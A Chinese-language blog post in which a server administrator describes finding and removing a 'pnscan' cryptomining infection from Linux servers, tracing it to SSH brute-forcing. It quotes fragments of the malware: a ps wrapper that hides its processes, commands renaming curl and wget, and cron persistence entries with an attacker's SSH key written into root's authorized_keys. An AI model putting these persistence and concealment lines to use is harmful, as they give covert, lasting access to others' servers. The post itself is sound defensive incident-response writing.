清除挖矿病毒

662 阅读3分钟

前言

在宝塔面板中偶然发现了网速长时间高占用,300kb/s,正常业务是没有这么高的。

1688363883873.png转存失败,建议直接上传图片文件

通过top查看并没有异常,后来我安装了其他的进程工具(htop)分析,找到了“pnscan”病毒。

病毒特征

挖矿病毒除了一直占用cpu、宽带,还会占用一些端口,例如这次就占用了redis 的6379,还关闭了linux的安全功能,如 selinux、apparmor等。

此外,还篡改了 top、ps命令。你是看不到病毒进程的,病毒脚本把 ps、top等命令过滤了自身

ps.original \$@ | grep -v \"zzh\|pnscan\

还有些基础命令被改名了,病毒片段:

mv /usr/bin/wgettnt /usr/bin/wd1
mv /usr/bin/curltnt /usr/bin/cd1
mv /usr/bin/wget1 /usr/bin/wd1
mv /usr/bin/curl1 /usr/bin/cd1
mv /usr/bin/cur /usr/bin/cd1
mv /usr/bin/cdl /usr/bin/cd1
mv /usr/bin/cdt /usr/bin/cd1
mv /usr/bin/xget /usr/bin/wd1
mv /usr/bin/wge /usr/bin/wd1
mv /usr/bin/wdl /usr/bin/wd1
mv /usr/bin/wdt /usr/bin/wd1
mv /usr/bin/wget /usr/bin/wd1
mv /usr/bin/curl /usr/bin/cd1

清除过程

1、你要恢复chattr的执行权限

# cp /usr/bin/chattr /usr/bin/chattr2
# chmod 755 /usr/bin/chattr2
# chattr2 -i /usr/bin/chattr
# chmod 755 /usr/bin/chattr
# ls -la /usr/bin/chattr  # lsattr /usr/bin/chattr -rwxr-xr-x 1 root root 9664 2010-08-17 01:29 /usr/bin/chattr -----------------e- /usr/bin/chattr

linux在root用户下无法使用chattr的解决办法 - Peterxiazhen - 博客园 (cnblogs.com)

2、恢复文件的删除权限

病毒用 chattr 锁定了关键文件的修改权限,解除命令:

chattr -ai -R 文件路径

3、删除病毒文件

/etc/zzhs

/etc/zzh

这个是病毒的初始化脚本

/etc/newinit.sh

由于病毒往/root/.ssh 中写入了登录密钥

如果用不到 .ssh 的话,直接删除目录

rm -rf /root/.ssh

删除病毒真身

rm -rf /usr/local/bin/pnscan

目前,我只发现了这些文件。

当然,通过 newinit.sh 发现还修改了其他文件,也可以通过cat 命令检查下是否正常。

/var/tmp/

/var/spool/cron/crontabs

/etc/crontab

/var/spool/cron

/etc/cron.d

/var/spool/cron/'"$USER

4、恢复常用命令

像 curl、wget 等命令直接yum remove ,然后重新安装

ps top命令恢复

删除 ps、top

rm -rf /bin/ps

rm -rf /bin/top

mv /bin/ps.original /bin/ps

mv /bin/top.original /bin/top

5、清除定时任务文件

定时文件位置

crondir='/var/spool/cron/'"$USER"

      unlock_cron
      rm -f ${crondir}
      rm -f /etc/cron.d/zzh
      rm -f /etc/crontab
      echo "*/50 * * * * sh /etc/newinit.sh >/dev/null 2>&1" >> ${crondir}
      echo "*/50 * * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/cron.d/zzh
      echo "0 1 * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/crontab
      echo crontab created
      lock_cron
        chmod 700 /root/.ssh/
        echo >> /root/.ssh/authorized_keys
        chmod 600 /root/.ssh/authorized_keys
        echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3QgqCevA1UIX9jkWJNzaDHmCFQMCVn6DlhT8Tj1CcBLouOPpuBVqGoZem9UT/sdy563H+e1cQD6LRA9lgyBO8VBOuyjlPf/rdYeXZRv9eFZ4ROGCOX/dvNzV9XdEyPX+znEL4AS45ko0obSqNGbserHPcKtXBjjcf9zWtRvBA4lteyXENWeCST61OhVI0K7bNTUHsQhFC0rgiGFqVv+kIwMVauMxeNd5PjsES4C5P9G8Ynligmdxp7LdOFeb5/V/iO8eceQsxLyXVCe2Jue5gaaOIbKy2j2HPxj6qK2BUqlx+dJdat6HE2HyPWDKD5jPyA5RCSs1zphe7BQjH20cX1nyzbhxNNQncs5BfB0kk2Qcb9IS/ofX9p8zIVKLUHMUNC9mKqPljzxH/3wYnOZrgebS4uwfyad+6SQ1oRfs1vWotXxSz1hBjhRPpUqzA7J865AcSOZBaoRsRKZ1BaGMyJyjIfkecFgeDpmbHzOzCjIXAeh20S2wLYZGdrhgVEr0= uc1" > /root/.ssh/authorized_keys
        
  
        file="/etc/zzh"

6、杀掉病毒进程

安装 htop

yum install -y htop

找到pnscan 的进程号,kill

安全措施

病毒清除后,修改 主机登录密码,所有的redis mysql 等对外开放服务修改密码。

被入侵原因还不知道,可能是被爆破了。

更新!找到了被入侵原因

通过网上案例,发现服务器是通过ssh登录进来的。

通过命令 less /var/log/secure 查看登录日志

1688363135060.png转存失败,建议直接上传图片文件

登录ip是内网,我联想到公司另一台服务器也被入侵了,果然和另一台服务器内网ip对得上

1688363219702.png转存失败,建议直接上传图片文件

由此可以判断病毒先入侵了A 服务器,再通过ssh爆破到B服务器。

引用腾讯发布的 门罗币挖矿木马

亡命徒(Outlaw)僵尸网络感染约2万台Linux服务器,腾讯安全提醒企业及时清除 (tencent.com)

此次攻击传播的母体文件为dota3.tar.gz,可能为亡命徒(Outlaw)僵尸网络的第3个版本,母体文件释放shell脚本启动对应二进制程序,kswapd0负责进行门罗币挖矿,tsm32、tsm64负责继续SSH爆破攻击传播病毒。

到这就结束了,我能想到的方法是增加ssh密码难度,然后对ssh登录频率做限制。

改ssh端口估计没啥用,能够扫出来。

文章参考

(111条消息) 一次惨痛的教训:被pnscan病毒攻击的经过_akmh089.vip_hello-alien的博客-CSDN博客

kswapd0挖矿病毒的发现与清除 - 知乎 (zhihu.com)

(111条消息) Linux kswapd0进程CPU占用过高,病毒清理_zhangjunli的博客-CSDN博客

一次服务器被入侵的处理过程分享 - 自由早晚乱余生 - 博客园 (cnblogs.com)